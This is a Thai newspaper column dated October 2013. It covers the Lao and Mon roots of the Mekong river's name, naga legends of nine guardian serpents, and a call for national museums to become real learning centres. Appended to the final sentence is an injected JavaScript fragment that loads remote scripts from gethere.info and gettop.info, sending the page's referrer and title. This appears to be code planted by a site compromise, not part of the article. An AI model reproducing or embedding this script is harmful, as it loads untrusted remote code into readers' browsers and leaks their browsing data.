มติชนรายวัน ฉบับประจำวันศุกร์ที่ 25 ตุลาคม 2556

นาคแม่น้ำโขง

          แม่น้ำโขงเป็นคำเรียกอย่างชาวลุ่มน้ำเจ้าพระยาภาคกลาง แต่คนพื้นเมืองในวัฒนธรรมลาวเรียกน้ำ(แม่)ของ มีผู้ถามว่าได้ชื่อจากไหน? จะอธิบายอย่างกะทัดรัด

          คำว่าของ มีรากจากภาษามอญว่าโคล้Úง พวกไทย-ลาวรับมาใช้แล้วเพี้ยนเป็นคลอง แปลว่าทางคมนาคม เช่น แม่น้ำลำคลอง แต่ในวัฒนธรรมลาวไม่ออกเสียงควบกล้ำ เลยเรียกของ แล้วคนทางภาคกลางออกเสียงเป็นโขง

          ในคำบอกเล่าเก่าแก่และในกาพย์กลอนโคลงสองฝั่งโขง เรียกแม่น้ำโขงว่ากาหลง เช่น น้ำแม่กาหลง มีในมหากาพย์ท้าวฮุ่ง ท้าวเจือง และในโคลงพระลอ เป็นต้น เพราะกลายมาจากชื่อเก้าลวง หมายถึงนาคเก้าตัวผู้พิทักษ์น้ำโขง (ลวง ในภาษาลาว แปลว่า นาค ใกล้คำจีนว่า หลง แปลว่า มังกร)

บวงสรวง – ประชาชนให้ความสนใจเข้าร่วมบวงสรวงพญานาคลุ่มแม่น้ำโขง โดยมีการจัดพิธีทางสงฆ์ พราหมณ์ และมีการลอยเรือสะเปาคำ ศาลาริมแม่น้ำโขงด้านหน้าที่ว่าการอำเภอเชียงแสน จ. เชียงราย เมื่อวันที่ 19 ตุลาคม (ภาพและคำบรรยายจาก มติชน ฉบับวันจันทร์ที่ 21 ตุลาคม 2556 หน้า 13)

พิพิธภัณฑ์ กรมศิลป์ปรับเปลี่ยนตัวเอง

          กรมศิลปากร มีแผนปรับปรุงพิพิธภัณฑสถานแห่งชาติทั่วประเทศให้เป็น“แหล่งเรียนรู้” รองรับยุทธศาสตร์การพัฒนาเมืองวัฒนธรรมเพื่อการท่องเที่ยว โดยปรับโฉมการจัดแสดงใหม่ แล้วนำโบราณวัตถุที่ค้นพบใหม่มาจัดแสดงเพิ่ม เริ่มนำร่อง 3 แห่ง ที่กรุงเทพฯ, เชียงใหม่, กำแพงเพชร (มติชน ฉบับวันพุธที่ 23 ตุลาคม 2556 หน้า 22)

          พิพิธภัณฑสถานแห่งชาติ มีขึ้นมาเพื่อเก็บของเก่า ตั้งแต่แรกเริ่มนับร้อยปีจนปัจจุบัน แล้วไม่ยอมเป็นแหล่งเรียนรู้ จึงไม่มีกิจกรรมสม่ำเสมอเพื่อแบ่งปันความรู้สู่สาธารณะ

          เมื่อกรมศิลปากรยอมปรับเปลี่ยนตนเองให้พิพิธภัณฑสถานแห่งชาติเป็นแหล่งเรียนรู้ จึงเป็นเรื่องสำคัญมากๆของไทย และควรยกย่องอย่างยิ่ง แม้จะยังไม่ลงมือจริงก็ตาม

          แต่แค่สร้างข่าวยังเป็นแหล่งเรียนรู้ไม่ได้ ต้องปรับเปลี่ยนอีกหลายอย่างตั้งแต่วิธีคิด จนถึงวิธีทำ ว่าจะให้เป็นแหล่งเรียนรู้อะไร? แล้วทำยังไง? ล้วนต้องมี“สตอรี่”ในจินตนาการที่มีวิชาการรองรับอย่างเข้มข้น

          ควรเริ่มตั้งเป้าหมายเบื้องต้น ว่าพิพิธภัณฑ์เป็นแหล่งเรียนรู้ความเป็นมาทางสังคมวัฒนธรรม (ยังไม่ต้องลึกลงไปถึงการเมืองกับเศรษฐกิจก็ได้) ซึ่งก็คือประวัติศาสตร์สังคม

          1. พิพิธภัณฑสถานแห่งชาติ พระนคร จัดแสดงประวัติศาสตร์สังคมของไทยเป็นภาพรวมที่เป็นอันหนึ่งอันเดียวกับความเป็นมาของอุษาคเนย์ (หรือเอเชียตะวันออกเฉียงใต้) ที่กำลังรวมกันเป็นอาเซียน

          2. พิพิธภัณฑ์ ตั้งอยู่ที่ไหน? ให้จัดแสดงประวัติความเป็นมาทางสังคมวัฒนธรรมของที่นั่น เช่น

          พิพิธภัณฑสถานแห่งชาติที่กำแพงเพชร จัดแสดงความเป็นมาตั้งแต่ยุคเมืองกำแพงเพชร จนเป็น จ. กำแพงเพชร ปัจจุบัน

          พิพิธภัณฑสถานแห่งชาติที่เชียงใหม่ จัดแสดงความเป็นมาตั้งแต่ยุคเมืองเชียงใหม่ จนเป็น จ. เชียงใหม่ ปัจจุบัน

          มีรายละเอียดปลีกย่อยอีกมากที่ต้องหารือกันอีกหลายนาน

          แต่ที่สำคัญคือคน ถ้าคนบริหารจัดการพิพิธภัณฑ์ยังด้อยคุณภาพ แล้วหมุนตามโลกไม่ทัน ก็มีปัญหาที่ต้องรอการพัฒนาอีกหลายยก หรืออีกนับร้อยปี

          เอาเถอะ แค่ยอมปรับเปลี่ยนพิพิธภัณฑ์จากที่เก็บของเก่าเป็นแหล่งเรียนรู้ ก็บุญโขแล้ว ผมพร้อมโพนทะนาสนับสนุนสุดลิ่มทิ่มประตู เพราะรอเขียนเชียร์มานานมากแทบขาดใจs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;